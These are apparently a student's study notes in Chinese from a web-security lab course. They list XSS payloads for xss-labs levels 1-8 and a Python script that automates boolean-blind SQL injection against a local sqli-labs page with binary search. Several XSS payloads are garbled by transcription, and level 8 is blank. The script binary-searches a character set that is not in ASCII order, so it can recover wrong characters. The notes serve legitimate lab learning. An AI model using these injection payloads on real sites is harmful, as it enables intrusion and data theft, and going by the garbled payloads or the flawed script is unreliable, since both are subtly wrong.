暑假---作业2

  学习目标：

• xss-1abs 1-8关
• python美现自动化布尔自注的2、代码进行优化(二分查找)

学习内容：

1.xss-1abs 1-8关

1

<h2 align="center">欢迎用户test</h2>

2   <script> alert (1)</script&gt

<center>
<form action="level2.php" method="GET">
<input name="keyword" value="test">
<input type="submit" name="submit" value="搜索">
</form>
</center>

3     <form action-level3.php method=GET>
Kinput name-keyword value='&lt:script&gt:alert（111）&lt:/script&gt:'>

4同理3

5     '<scr_ipt>alert (11)</script>">

6       <a hr_ef=javascript: alert (1)> <"">

7     <a =java:alert(1)> <"">

8

2.python美现自动化布尔自动的代码进行优化(二分查找)

import requests

# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"

# 要推断的数据库信息（例如：数据库名）
database_name = ""

# 字符集（可以根据需要扩展）
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "

# 推断数据库名的长度

def get_database_length():
    low = 1
    high = 50  # 保持原有的最大长度限制
    result = 0
    while low <= high:
        mid = (low + high) // 2
        # 检查长度是否等于mid
        payload = f"1' AND (SELECT length(database()) = {mid}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in..........." in response.text:
            return mid
        # 检查长度是否大于mid
        payload = f"1' AND (SELECT length(database()) > {mid}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in..........." in response.text:
            low = mid + 1
        else:
            high = mid - 1
    return 0

# 推断数据库名

def get_database_name(length):
    db_name = ""
    for i in range(1, length + 1):
        low = 0
        high = len(charset) - 1
        # 二分查找当前位置的字符
        while low <= high:
            mid = (low + high) // 2
            mid_char = charset[mid]
            # 比较ASCII值判断字符范围
            payload = f"1' AND ORD(SUBSTRING(database(), {i}, 1)) > ORD('{mid_char}') -- "
            response = requests.get(url, params={"id": payload})
            if "You are in" in response.text:
                low = mid + 1
            else:
                high = mid - 1
        # 验证找到的字符
        if 0 <= low < len(charset):
            db_name += charset[low]
    return db_name


# 主函数

# 如果当前模块是主模块，则执行以下代码
if __name__ == "__main__":
    length = get_database_length()
    if length > 0:
        print(f"Database length: {length}")
        db_name = get_database_name(length)
        print(f"Database name: {db_name}")
    else:
        print("Failed to determine database length.")

学习时间：

学习时间为学习时间

内容为笔记【有时比较抽象，有时比较过于详细，请宽恕。作者可能写的是仅个人笔记，筋肉人future】  

学习产出：

• 技术笔记 1遍
• 有错误请指出，作者会及时改正